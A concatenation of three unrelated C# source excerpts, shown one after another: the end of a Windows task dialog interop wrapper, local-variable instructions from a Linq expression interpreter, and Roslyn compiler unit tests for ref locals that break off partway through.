private IntPtr[] updatedStrings = new IntPtr[Enum.GetNames(typeof(TaskDialogNativeMethods.TaskDialogElements)).Length];
private IntPtr buttonArray, radioButtonArray;
// Flag tracks whether our first radio
// button click event has come through.
private bool firstRadioButtonClicked = true;
#region Constructors
// Configuration is applied at dialog creation time.
internal NativeTaskDialog(NativeTaskDialogSettings settings, TaskDialog outerDialog)
{
nativeDialogConfig = settings.NativeConfiguration;
this.settings = settings;
// Wireup dialog proc message loop for this instance.
nativeDialogConfig.callback = new TaskDialogNativeMethods.TaskDialogCallback(DialogProc);
ShowState = DialogShowState.PreShow;
// Keep a reference to the outer shell, so we can notify.
this.outerDialog = outerDialog;
}
#endregion
#region Public Properties
public DialogShowState ShowState { get; private set; }
public int SelectedButtonId { get; private set; }
public int SelectedRadioButtonId { get; private set; }
public bool CheckBoxChecked { get; private set; }
#endregion
internal void NativeShow()
{
// Applies config struct and other settings, then
// calls main Win32 function.
if (settings == null)
{
throw new InvalidOperationException(LocalizedMessages.NativeTaskDialogConfigurationError);
}
// Do a last-minute parse of the various dialog control lists,
// and only allocate the memory at the last minute.
MarshalDialogControlStructs();
// Make the call and show the dialog.
// NOTE: this call is BLOCKING, though the thread
// WILL re-enter via the DialogProc.
try
{
ShowState = DialogShowState.Showing;
int selectedButtonId;
int selectedRadioButtonId;
bool checkBoxChecked;
// Here is the way we use "vanilla" P/Invoke to call TaskDialogIndirect().
HResult hresult = TaskDialogNativeMethods.TaskDialogIndirect(
nativeDialogConfig,
out selectedButtonId,
out selectedRadioButtonId,
out checkBoxChecked);
if (CoreErrorHelper.Failed(hresult))
{
string msg;
switch (hresult)
{
case HResult.InvalidArguments:
msg = LocalizedMessages.NativeTaskDialogInternalErrorArgs;
break;
case HResult.OutOfMemory:
msg = LocalizedMessages.NativeTaskDialogInternalErrorComplex;
break;
default:
msg = string.Format(System.Globalization.CultureInfo.InvariantCulture,
LocalizedMessages.NativeTaskDialogInternalErrorUnexpected,
hresult);
break;
}
Exception e = Marshal.GetExceptionForHR((int)hresult);
throw new Win32Exception(msg, e);
}
SelectedButtonId = selectedButtonId;
SelectedRadioButtonId = selectedRadioButtonId;
CheckBoxChecked = checkBoxChecked;
}
catch (EntryPointNotFoundException exc)
{
throw new NotSupportedException(LocalizedMessages.NativeTaskDialogVersionError, exc);
}
finally
{
ShowState = DialogShowState.Closed;
}
}
// The new task dialog does not support the existing
// Win32 functions for closing (e.g. EndDialog()); instead,
// a "click button" message is sent. In this case, we're
// abstracting out to say that the TaskDialog consumer can
// simply call "Close" and we'll "click" the cancel button.
// Note that the cancel button doesn't actually
// have to exist for this to work.
internal void NativeClose(TaskDialogResult result)
{
ShowState = DialogShowState.Closing;
int id;
switch (result)
{
case TaskDialogResult.Close:
id = (int)TaskDialogNativeMethods.TaskDialogCommonButtonReturnIds.Close;
break;
case TaskDialogResult.CustomButtonClicked:
id = DialogsDefaults.MinimumDialogControlId; // custom buttons
break;
case TaskDialogResult.No:
id = (int)TaskDialogNativeMethods.TaskDialogCommonButtonReturnIds.No;
break;
case TaskDialogResult.Ok:
id = (int)TaskDialogNativeMethods.TaskDialogCommonButtonReturnIds.Ok;
break;
case TaskDialogResult.Retry:
id = (int)TaskDialogNativeMethods.TaskDialogCommonButtonReturnIds.Retry;
break;
case TaskDialogResult.Yes:
id = (int)TaskDialogNativeMethods.TaskDialogCommonButtonReturnIds.Yes;
break;
default:
id = (int)TaskDialogNativeMethods.TaskDialogCommonButtonReturnIds.Cancel;
break;
}
SendMessageHelper(TaskDialogNativeMethods.TaskDialogMessages.ClickButton, id, 0);
}
#region Main Dialog Proc
private int DialogProc(
IntPtr windowHandle,
uint message,
IntPtr wparam,
IntPtr lparam,
IntPtr referenceData)
{
// Fetch the HWND - it may be the first time we're getting it.
hWndDialog = windowHandle;
// Big switch on the various notifications the
// dialog proc can get.
switch ((TaskDialogNativeMethods.TaskDialogNotifications)message)
{
case TaskDialogNativeMethods.TaskDialogNotifications.Created:
int result = PerformDialogInitialization();
outerDialog.RaiseOpenedEvent();
return result;
case TaskDialogNativeMethods.TaskDialogNotifications.ButtonClicked:
return HandleButtonClick((int)wparam);
case TaskDialogNativeMethods.TaskDialogNotifications.RadioButtonClicked:
return HandleRadioButtonClick((int)wparam);
case TaskDialogNativeMethods.TaskDialogNotifications.HyperlinkClicked:
return HandleHyperlinkClick(lparam);
case TaskDialogNativeMethods.TaskDialogNotifications.Help:
return HandleHelpInvocation();
case TaskDialogNativeMethods.TaskDialogNotifications.Timer:
return HandleTick((int)wparam);
case TaskDialogNativeMethods.TaskDialogNotifications.Destroyed:
return PerformDialogCleanup();
default:
break;
}
return (int)HResult.Ok;
}
// Once the task dialog HWND is open, we need to send
// additional messages to configure it.
private int PerformDialogInitialization()
{
// Initialize Progress or Marquee Bar.
if (IsOptionSet(TaskDialogNativeMethods.TaskDialogOptions.ShowProgressBar))
{
UpdateProgressBarRange();
// The order of the following is important -
// state is more important than value,
// and non-normal states turn off the bar value change
// animation, which is likely the intended
// and preferable behavior.
UpdateProgressBarState(settings.ProgressBarState);
UpdateProgressBarValue(settings.ProgressBarValue);
// Due to a bug that wasn't fixed in time for RTM of Vista,
// second SendMessage is required if the state is non-Normal.
UpdateProgressBarValue(settings.ProgressBarValue);
}
else if (IsOptionSet(TaskDialogNativeMethods.TaskDialogOptions.ShowMarqueeProgressBar))
{
// TDM_SET_PROGRESS_BAR_MARQUEE is necessary
// to cause the marquee to start animating.
// Note that this internal task dialog setting is
// round-tripped when the marquee is
// is set to different states, so it never has to
// be touched/sent again.
SendMessageHelper(TaskDialogNativeMethods.TaskDialogMessages.SetProgressBarMarquee, 1, 0);
UpdateProgressBarState(settings.ProgressBarState);
}
if (settings.ElevatedButtons != null && settings.ElevatedButtons.Count > 0)
{
foreach (int id in settings.ElevatedButtons)
{
UpdateElevationIcon(id, true);
}
}
return CoreErrorHelper.Ignored;
}
private int HandleButtonClick(int id)
{
// First we raise a Click event, if there is a custom button
// However, we implement Close() by sending a cancel button, so
// we don't want to raise a click event in response to that.
if (ShowState != DialogShowState.Closing)
{
outerDialog.RaiseButtonClickEvent(id);
}
// Once that returns, we raise a Closing event for the dialog
// The Win32 API handles button clicking-and-closing
// as an atomic action,
// but it is more .NET friendly to split them up.
// Unfortunately, we do NOT have the return values at this stage.
if (id < DialogsDefaults.MinimumDialogControlId)
{
return outerDialog.RaiseClosingEvent(id);
}
return (int)HResult.False;
}
private int HandleRadioButtonClick(int id)
{
// When the dialog sets the radio button to default,
// it (somewhat confusingly)issues a radio button clicked event
// - we mask that out - though ONLY if
// we do have a default radio button
if (firstRadioButtonClicked
&& !IsOptionSet(TaskDialogNativeMethods.TaskDialogOptions.NoDefaultRadioButton))
{
firstRadioButtonClicked = false;
}
else
{
outerDialog.RaiseButtonClickEvent(id);
}
// Note: we don't raise Closing, as radio
// buttons are non-committing buttons
return CoreErrorHelper.Ignored;
}
private int HandleHyperlinkClick(IntPtr href)
{
string link = Marshal.PtrToStringUni(href);
outerDialog.RaiseHyperlinkClickEvent(link);
return CoreErrorHelper.Ignored;
}
private int HandleTick(int ticks)
{
outerDialog.RaiseTickEvent(ticks);
return CoreErrorHelper.Ignored;
}
private int HandleHelpInvocation()
{
outerDialog.RaiseHelpInvokedEvent();
return CoreErrorHelper.Ignored;
}
// There should be little we need to do here,
// as the use of the NativeTaskDialog is
// that it is instantiated for a single show, then disposed of.
private int PerformDialogCleanup()
{
firstRadioButtonClicked = true;
return CoreErrorHelper.Ignored;
}
#endregion
#region Update members
internal void UpdateProgressBarValue(int i)
{
AssertCurrentlyShowing();
SendMessageHelper(TaskDialogNativeMethods.TaskDialogMessages.SetProgressBarPosition, i, 0);
}
internal void UpdateProgressBarRange()
{
AssertCurrentlyShowing();
// Build range LPARAM - note it is in REVERSE intuitive order.
long range = NativeTaskDialog.MakeLongLParam(
settings.ProgressBarMaximum,
settings.ProgressBarMinimum);
SendMessageHelper(TaskDialogNativeMethods.TaskDialogMessages.SetProgressBarRange, 0, range);
}
internal void UpdateProgressBarState(TaskDialogProgressBarState state)
{
AssertCurrentlyShowing();
SendMessageHelper(TaskDialogNativeMethods.TaskDialogMessages.SetProgressBarState, (int)state, 0);
}
internal void UpdateText(string text)
{
UpdateTextCore(text, TaskDialogNativeMethods.TaskDialogElements.Content);
}
internal void UpdateInstruction(string instruction)
{
UpdateTextCore(instruction, TaskDialogNativeMethods.TaskDialogElements.MainInstruction);
}
internal void UpdateFooterText(string footerText)
{
UpdateTextCore(footerText, TaskDialogNativeMethods.TaskDialogElements.Footer);
}
internal void UpdateExpandedText(string expandedText)
{
UpdateTextCore(expandedText, TaskDialogNativeMethods.TaskDialogElements.ExpandedInformation);
}
private void UpdateTextCore(string s, TaskDialogNativeMethods.TaskDialogElements element)
{
AssertCurrentlyShowing();
FreeOldString(element);
SendMessageHelper(
TaskDialogNativeMethods.TaskDialogMessages.SetElementText,
(int)element,
(long)MakeNewString(s, element));
}
internal void UpdateMainIcon(TaskDialogStandardIcon mainIcon)
{
UpdateIconCore(mainIcon, TaskDialogNativeMethods.TaskDialogIconElement.Main);
}
internal void UpdateFooterIcon(TaskDialogStandardIcon footerIcon)
{
UpdateIconCore(footerIcon, TaskDialogNativeMethods.TaskDialogIconElement.Footer);
}
private void UpdateIconCore(TaskDialogStandardIcon icon, TaskDialogNativeMethods.TaskDialogIconElement element)
{
AssertCurrentlyShowing();
SendMessageHelper(
TaskDialogNativeMethods.TaskDialogMessages.UpdateIcon,
(int)element,
(long)icon);
}
internal void UpdateCheckBoxChecked(bool cbc)
{
AssertCurrentlyShowing();
SendMessageHelper(
TaskDialogNativeMethods.TaskDialogMessages.ClickVerification,
(cbc ? 1 : 0),
1);
}
internal void UpdateElevationIcon(int buttonId, bool showIcon)
{
AssertCurrentlyShowing();
SendMessageHelper(
TaskDialogNativeMethods.TaskDialogMessages.SetButtonElevationRequiredState,
buttonId,
Convert.ToInt32(showIcon));
}
internal void UpdateButtonEnabled(int buttonID, bool enabled)
{
AssertCurrentlyShowing();
SendMessageHelper(
TaskDialogNativeMethods.TaskDialogMessages.EnableButton, buttonID, enabled == true ? 1 : 0);
}
internal void UpdateRadioButtonEnabled(int buttonID, bool enabled)
{
AssertCurrentlyShowing();
SendMessageHelper(TaskDialogNativeMethods.TaskDialogMessages.EnableRadioButton,
buttonID, enabled == true ? 1 : 0);
}
internal void AssertCurrentlyShowing()
{
Debug.Assert(ShowState == DialogShowState.Showing,
"Update*() methods should only be called while native dialog is showing");
}
#endregion
#region Helpers
private int SendMessageHelper(TaskDialogNativeMethods.TaskDialogMessages message, int wparam, long lparam)
{
// Be sure to at least assert here -
// messages to invalid handles often just disappear silently
Debug.Assert(hWndDialog != null, "HWND for dialog is null during SendMessage");
return (int)CoreNativeMethods.SendMessage(
hWndDialog,
(uint)message,
(IntPtr)wparam,
new IntPtr(lparam));
}
private bool IsOptionSet(TaskDialogNativeMethods.TaskDialogOptions flag)
{
return ((nativeDialogConfig.taskDialogFlags & flag) == flag);
}
// Allocates a new string on the unmanaged heap,
// and stores the pointer so we can free it later.
private IntPtr MakeNewString(string text, TaskDialogNativeMethods.TaskDialogElements element)
{
IntPtr newStringPtr = Marshal.StringToHGlobalUni(text);
updatedStrings[(int)element] = newStringPtr;
return newStringPtr;
}
// Checks to see if the given element already has an
// updated string, and if so,
// frees it. This is done in preparation for a call to
// MakeNewString(), to prevent
// leaks from multiple updates calls on the same element
// within a single native dialog lifetime.
private void FreeOldString(TaskDialogNativeMethods.TaskDialogElements element)
{
int elementIndex = (int)element;
if (updatedStrings[elementIndex] != IntPtr.Zero)
{
Marshal.FreeHGlobal(updatedStrings[elementIndex]);
updatedStrings[elementIndex] = IntPtr.Zero;
}
}
// Based on the following defines in WinDef.h and WinUser.h:
// #define MAKELPARAM(l, h) ((LPARAM)(DWORD)MAKELONG(l, h))
// #define MAKELONG(a, b) ((LONG)(((WORD)(((DWORD_PTR)(a)) & 0xffff)) | ((DWORD)((WORD)(((DWORD_PTR)(b)) & 0xffff))) << 16))
private static long MakeLongLParam(int a, int b)
{
return (a << 16) + b;
}
// Builds the actual configuration that the
// NativeTaskDialog (and underlying Win32 API)
// expects, by parsing the various control lists,
// marshaling to the unmanaged heap, etc.
private void MarshalDialogControlStructs()
{
if (settings.Buttons != null && settings.Buttons.Length > 0)
{
buttonArray = AllocateAndMarshalButtons(settings.Buttons);
settings.NativeConfiguration.buttons = buttonArray;
settings.NativeConfiguration.buttonCount = (uint)settings.Buttons.Length;
}
if (settings.RadioButtons != null && settings.RadioButtons.Length > 0)
{
radioButtonArray = AllocateAndMarshalButtons(settings.RadioButtons);
settings.NativeConfiguration.radioButtons = radioButtonArray;
settings.NativeConfiguration.radioButtonCount = (uint)settings.RadioButtons.Length;
}
}
private static IntPtr AllocateAndMarshalButtons(TaskDialogNativeMethods.TaskDialogButton[] structs)
{
IntPtr initialPtr = Marshal.AllocHGlobal(
Marshal.SizeOf(typeof(TaskDialogNativeMethods.TaskDialogButton)) * structs.Length);
IntPtr currentPtr = initialPtr;
foreach (TaskDialogNativeMethods.TaskDialogButton button in structs)
{
Marshal.StructureToPtr(button, currentPtr, false);
currentPtr = (IntPtr)((int)currentPtr + Marshal.SizeOf(button));
}
return initialPtr;
}
#endregion
#region IDispose Pattern
private bool disposed;
// Finalizer and IDisposable implementation.
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
~NativeTaskDialog()
{
Dispose(false);
}
// Core disposing logic.
protected void Dispose(bool disposing)
{
if (!disposed)
{
disposed = true;
// Single biggest resource - make sure the dialog
// itself has been instructed to close.
if (ShowState == DialogShowState.Showing)
{
NativeClose(TaskDialogResult.Cancel);
}
// Clean up custom allocated strings that were updated
// while the dialog was showing. Note that the strings
// passed in the initial TaskDialogIndirect call will
// be cleaned up automagically by the default
// marshalling logic.
if (updatedStrings != null)
{
for (int i = 0; i < updatedStrings.Length; i++)
{
if (updatedStrings[i] != IntPtr.Zero)
{
Marshal.FreeHGlobal(updatedStrings[i]);
updatedStrings[i] = IntPtr.Zero;
}
}
}
// Clean up the button and radio button arrays, if any.
if (buttonArray != IntPtr.Zero)
{
Marshal.FreeHGlobal(buttonArray);
buttonArray = IntPtr.Zero;
}
if (radioButtonArray != IntPtr.Zero)
{
Marshal.FreeHGlobal(radioButtonArray);
radioButtonArray = IntPtr.Zero;
}
if (disposing)
{
// Clean up managed resources - currently there are none
// that are interesting.
}
}
}
#endregion
}
}
| |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System;
using System.Linq.Expressions;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Collections.Generic;
using System.Diagnostics;
namespace System.Linq.Expressions.Interpreter
{
internal interface IBoxableInstruction
{
Instruction BoxIfIndexMatches(int index);
}
internal abstract class LocalAccessInstruction : Instruction
{
internal readonly int _index;
protected LocalAccessInstruction(int index)
{
_index = index;
}
public override string ToDebugString(int instructionIndex, object cookie, Func<int, int> labelIndexer, IList<object> objects)
{
return cookie == null ?
InstructionName + "(" + _index + ")" :
InstructionName + "(" + cookie + ": " + _index + ")";
}
}
#region Load
internal sealed class LoadLocalInstruction : LocalAccessInstruction, IBoxableInstruction
{
internal LoadLocalInstruction(int index)
: base(index)
{
}
public override int ProducedStack { get { return 1; } }
public override string InstructionName
{
get { return "LoadLocal"; }
}
public override int Run(InterpretedFrame frame)
{
frame.Data[frame.StackIndex++] = frame.Data[_index];
return +1;
}
public Instruction BoxIfIndexMatches(int index)
{
return (index == _index) ? InstructionList.LoadLocalBoxed(index) : null;
}
}
internal sealed class LoadLocalBoxedInstruction : LocalAccessInstruction
{
internal LoadLocalBoxedInstruction(int index)
: base(index)
{
}
public override int ProducedStack { get { return 1; } }
public override string InstructionName
{
get { return "LoadLocalBox"; }
}
public override int Run(InterpretedFrame frame)
{
var box = (IStrongBox)frame.Data[_index];
frame.Data[frame.StackIndex++] = box.Value;
return +1;
}
}
internal sealed class LoadLocalFromClosureInstruction : LocalAccessInstruction
{
internal LoadLocalFromClosureInstruction(int index)
: base(index)
{
}
public override int ProducedStack { get { return 1; } }
public override string InstructionName
{
get { return "LoadLocalClosure"; }
}
public override int Run(InterpretedFrame frame)
{
var box = frame.Closure[_index];
frame.Data[frame.StackIndex++] = box.Value;
return +1;
}
}
internal sealed class LoadLocalFromClosureBoxedInstruction : LocalAccessInstruction
{
internal LoadLocalFromClosureBoxedInstruction(int index)
: base(index)
{
}
public override int ProducedStack { get { return 1; } }
public override string InstructionName
{
get { return "LoadLocal"; }
}
public override int Run(InterpretedFrame frame)
{
var box = frame.Closure[_index];
frame.Data[frame.StackIndex++] = box;
return +1;
}
}
#endregion
#region Store, Assign
internal sealed class AssignLocalInstruction : LocalAccessInstruction, IBoxableInstruction
{
internal AssignLocalInstruction(int index)
: base(index)
{
}
public override int ConsumedStack { get { return 1; } }
public override int ProducedStack { get { return 1; } }
public override string InstructionName
{
get { return "AssignLocal"; }
}
public override int Run(InterpretedFrame frame)
{
frame.Data[_index] = frame.Peek();
return +1;
}
public Instruction BoxIfIndexMatches(int index)
{
return (index == _index) ? InstructionList.AssignLocalBoxed(index) : null;
}
}
internal sealed class StoreLocalInstruction : LocalAccessInstruction, IBoxableInstruction
{
internal StoreLocalInstruction(int index)
: base(index)
{
}
public override int ConsumedStack { get { return 1; } }
public override string InstructionName
{
get { return "StoreLocal"; }
}
public override int Run(InterpretedFrame frame)
{
frame.Data[_index] = frame.Pop();
return +1;
}
public Instruction BoxIfIndexMatches(int index)
{
return (index == _index) ? InstructionList.StoreLocalBoxed(index) : null;
}
}
internal sealed class AssignLocalBoxedInstruction : LocalAccessInstruction
{
internal AssignLocalBoxedInstruction(int index)
: base(index)
{
}
public override int ConsumedStack { get { return 1; } }
public override int ProducedStack { get { return 1; } }
public override string InstructionName
{
get { return "AssignLocalBox"; }
}
public override int Run(InterpretedFrame frame)
{
var box = (IStrongBox)frame.Data[_index];
box.Value = frame.Peek();
return +1;
}
}
internal sealed class StoreLocalBoxedInstruction : LocalAccessInstruction
{
internal StoreLocalBoxedInstruction(int index)
: base(index)
{
}
public override int ConsumedStack { get { return 1; } }
public override int ProducedStack { get { return 0; } }
public override string InstructionName
{
get { return "StoreLocalBox"; }
}
public override int Run(InterpretedFrame frame)
{
var box = (IStrongBox)frame.Data[_index];
box.Value = frame.Data[--frame.StackIndex];
return +1;
}
}
internal sealed class AssignLocalToClosureInstruction : LocalAccessInstruction
{
internal AssignLocalToClosureInstruction(int index)
: base(index)
{
}
public override int ConsumedStack { get { return 1; } }
public override int ProducedStack { get { return 1; } }
public override string InstructionName
{
get { return "AssignLocalClosure"; }
}
public override int Run(InterpretedFrame frame)
{
var box = frame.Closure[_index];
box.Value = frame.Peek();
return +1;
}
}
internal sealed class ValueTypeCopyInstruction : Instruction
{
public static readonly ValueTypeCopyInstruction Instruction = new ValueTypeCopyInstruction();
public ValueTypeCopyInstruction()
{
}
public override int ConsumedStack { get { return 1; } }
public override int ProducedStack { get { return 1; } }
public override string InstructionName
{
get { return "ValueTypeCopy"; }
}
public override int Run(InterpretedFrame frame)
{
object o = frame.Pop();
frame.Push(o == null ? o : RuntimeHelpers.GetObjectValue(o));
return +1;
}
}
#endregion
#region Initialize
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1012:AbstractTypesShouldNotHaveConstructors")]
internal abstract class InitializeLocalInstruction : LocalAccessInstruction
{
internal InitializeLocalInstruction(int index)
: base(index)
{
}
internal sealed class Reference : InitializeLocalInstruction, IBoxableInstruction
{
internal Reference(int index)
: base(index)
{
}
public override int Run(InterpretedFrame frame)
{
frame.Data[_index] = null;
return 1;
}
public Instruction BoxIfIndexMatches(int index)
{
return (index == _index) ? InstructionList.InitImmutableRefBox(index) : null;
}
public override string InstructionName
{
get { return "InitRef"; }
}
}
internal sealed class ImmutableValue : InitializeLocalInstruction, IBoxableInstruction
{
private readonly object _defaultValue;
internal ImmutableValue(int index, object defaultValue)
: base(index)
{
Debug.Assert(defaultValue != null);
_defaultValue = defaultValue;
}
public override int Run(InterpretedFrame frame)
{
frame.Data[_index] = _defaultValue;
return 1;
}
public Instruction BoxIfIndexMatches(int index)
{
return (index == _index) ? new ImmutableBox(index, _defaultValue) : null;
}
public override string InstructionName
{
get { return "InitImmutableValue"; }
}
}
internal sealed class ImmutableBox : InitializeLocalInstruction
{
// immutable value:
private readonly object _defaultValue;
internal ImmutableBox(int index, object defaultValue)
: base(index)
{
_defaultValue = defaultValue;
}
public override int Run(InterpretedFrame frame)
{
frame.Data[_index] = new StrongBox<object>(_defaultValue);
return 1;
}
public override string InstructionName
{
get { return "InitImmutableBox"; }
}
}
internal sealed class ImmutableRefBox : InitializeLocalInstruction
{
// immutable value:
internal ImmutableRefBox(int index)
: base(index)
{
}
public override int Run(InterpretedFrame frame)
{
frame.Data[_index] = new StrongBox<object>();
return 1;
}
public override string InstructionName
{
get { return "InitImmutableBox"; }
}
}
internal sealed class ParameterBox : InitializeLocalInstruction
{
public ParameterBox(int index)
: base(index)
{
}
public override int Run(InterpretedFrame frame)
{
frame.Data[_index] = new StrongBox<object>(frame.Data[_index]);
return 1;
}
public override string InstructionName
{
get { return "InitParameterBox"; }
}
}
internal sealed class Parameter : InitializeLocalInstruction, IBoxableInstruction
{
internal Parameter(int index, Type parameterType)
: base(index)
{
}
public override int Run(InterpretedFrame frame)
{
// nop
return 1;
}
public Instruction BoxIfIndexMatches(int index)
{
if (index == _index)
{
return InstructionList.ParameterBox(index);
}
return null;
}
public override string InstructionName
{
get { return "InitParameter"; }
}
}
internal sealed class MutableValue : InitializeLocalInstruction, IBoxableInstruction
{
private readonly Type _type;
internal MutableValue(int index, Type type)
: base(index)
{
_type = type;
}
public override int Run(InterpretedFrame frame)
{
try
{
frame.Data[_index] = Activator.CreateInstance(_type);
}
catch (TargetInvocationException e)
{
ExceptionHelpers.UpdateForRethrow(e.InnerException);
throw e.InnerException;
}
return 1;
}
public Instruction BoxIfIndexMatches(int index)
{
return (index == _index) ? new MutableBox(index, _type) : null;
}
public override string InstructionName
{
get { return "InitMutableValue"; }
}
}
internal sealed class MutableBox : InitializeLocalInstruction
{
private readonly Type _type;
internal MutableBox(int index, Type type)
: base(index)
{
_type = type;
}
public override int Run(InterpretedFrame frame)
{
var value = default(object);
try
{
value = Activator.CreateInstance(_type);
}
catch (TargetInvocationException e)
{
ExceptionHelpers.UpdateForRethrow(e.InnerException);
throw e.InnerException;
}
frame.Data[_index] = new StrongBox<object>(value);
return 1;
}
public override string InstructionName
{
get { return "InitMutableBox"; }
}
}
}
#endregion
#region RuntimeVariables
internal sealed class RuntimeVariablesInstruction : Instruction
{
private readonly int _count;
public RuntimeVariablesInstruction(int count)
{
_count = count;
}
public override int ProducedStack { get { return 1; } }
public override int ConsumedStack { get { return _count; } }
public override int Run(InterpretedFrame frame)
{
var ret = new IStrongBox[_count];
for (int i = ret.Length - 1; i >= 0; i--)
{
ret[i] = (IStrongBox)frame.Pop();
}
frame.Push(RuntimeVariables.Create(ret));
return +1;
}
public override string InstructionName
{
get { return "GetRuntimeVariables"; }
}
public override string ToString()
{
return "GetRuntimeVariables()";
}
}
#endregion
}
| |
// Copyright (c) Microsoft Open Technologies, Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
using System.Linq;
using Microsoft.CodeAnalysis.CSharp.Test.Utilities;
using Microsoft.CodeAnalysis.Test.Utilities;
using Xunit;
namespace Microsoft.CodeAnalysis.CSharp.UnitTests
{
[CompilerTrait(CompilerFeature.RefLocalsReturns)]
public class RefLocalTests : CompilingTestBase
{
[Fact]
public void RefAssignArrayAccess()
{
var text = @"
class Program
{
static void M()
{
ref int rl = ref (new int[1])[0];
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll).VerifyIL("Program.M()", @"
{
// Code size 15 (0xf)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldc.i4.1
IL_0002: newarr ""int""
IL_0007: ldc.i4.0
IL_0008: ldelema ""int""
IL_000d: stloc.0
IL_000e: ret
}");
}
[Fact]
public void RefAssignRefParameter()
{
var text = @"
class Program
{
static void M(ref int i)
{
ref int rl = ref i;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll).VerifyIL("Program.M(ref int)", @"
{
// Code size 4 (0x4)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: stloc.0
IL_0003: ret
}");
}
[Fact]
public void RefAssignOutParameter()
{
var text = @"
class Program
{
static void M(out int i)
{
i = 0;
ref int rl = ref i;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll).VerifyIL("Program.M(out int)", @"
{
// Code size 7 (0x7)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldc.i4.0
IL_0003: stind.i4
IL_0004: ldarg.0
IL_0005: stloc.0
IL_0006: ret
}");
}
[Fact]
public void RefAssignRefLocal()
{
var text = @"
class Program
{
static void M(ref int i)
{
ref int local = ref i;
ref int rl = ref local;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll).VerifyIL("Program.M(ref int)", @"
{
// Code size 6 (0x6)
.maxstack 1
.locals init (int& V_0, //local
int& V_1) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: stloc.0
IL_0003: ldloc.0
IL_0004: stloc.1
IL_0005: ret
}");
}
[Fact]
public void RefAssignStaticProperty()
{
var text = @"
class Program
{
static int field = 0;
static ref int P { get { return ref field; } }
static void M()
{
ref int rl = ref P;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false).VerifyIL("Program.M()", @"
{
// Code size 8 (0x8)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: call ""ref int Program.P.get""
IL_0006: stloc.0
IL_0007: ret
}");
}
[Fact]
public void RefAssignClassInstanceProperty()
{
var text = @"
class Program
{
int field = 0;
ref int P { get { return ref field; } }
void M()
{
ref int rl = ref P;
}
void M1()
{
ref int rl = ref new Program().P;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program.M()", @"
{
// Code size 9 (0x9)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: call ""ref int Program.P.get""
IL_0007: stloc.0
IL_0008: ret
}");
comp.VerifyIL("Program.M1()", @"
{
// Code size 13 (0xd)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: newobj ""Program..ctor()""
IL_0006: call ""ref int Program.P.get""
IL_000b: stloc.0
IL_000c: ret
}");
}
[Fact]
public void RefAssignStructInstanceProperty()
{
var text = @"
struct Program
{
public ref int P { get { return ref (new int[1])[0]; } }
void M()
{
ref int rl = ref P;
}
void M1(ref Program program)
{
ref int rl = ref program.P;
}
}
struct Program2
{
Program program;
Program2(Program program)
{
this.program = program;
}
void M()
{
ref int rl = ref program.P;
}
}
class Program3
{
Program program = default(Program);
void M()
{
ref int rl = ref program.P;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program.M()", @"
{
// Code size 9 (0x9)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: call ""ref int Program.P.get""
IL_0007: stloc.0
IL_0008: ret
}");
comp.VerifyIL("Program.M1(ref Program)", @"
{
// Code size 9 (0x9)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.1
IL_0002: call ""ref int Program.P.get""
IL_0007: stloc.0
IL_0008: ret
}");
comp.VerifyIL("Program2.M()", @"
{
// Code size 14 (0xe)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program2.program""
IL_0007: call ""ref int Program.P.get""
IL_000c: stloc.0
IL_000d: ret
}");
comp.VerifyIL("Program3.M()", @"
{
// Code size 14 (0xe)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program3.program""
IL_0007: call ""ref int Program.P.get""
IL_000c: stloc.0
IL_000d: ret
}");
}
[Fact]
public void RefAssignConstrainedInstanceProperty()
{
var text = @"
interface I
{
ref int P { get; }
}
class Program<T>
where T : I
{
T t = default(T);
void M()
{
ref int rl = ref t.P;
}
}
class Program2<T>
where T : class, I
{
void M(T t)
{
ref int rl = ref t.P;
}
}
class Program3<T>
where T : struct, I
{
T t = default(T);
void M()
{
ref int rl = ref t.P;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll);
comp.VerifyIL("Program<T>.M()", @"
{
// Code size 20 (0x14)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""T Program<T>.t""
IL_0007: constrained. ""T""
IL_000d: callvirt ""ref int I.P.get""
IL_0012: stloc.0
IL_0013: ret
}");
comp.VerifyIL("Program2<T>.M(T)", @"
{
// Code size 14 (0xe)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.1
IL_0002: box ""T""
IL_0007: callvirt ""ref int I.P.get""
IL_000c: stloc.0
IL_000d: ret
}");
comp.VerifyIL("Program3<T>.M()", @"
{
// Code size 20 (0x14)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""T Program3<T>.t""
IL_0007: constrained. ""T""
IL_000d: callvirt ""ref int I.P.get""
IL_0012: stloc.0
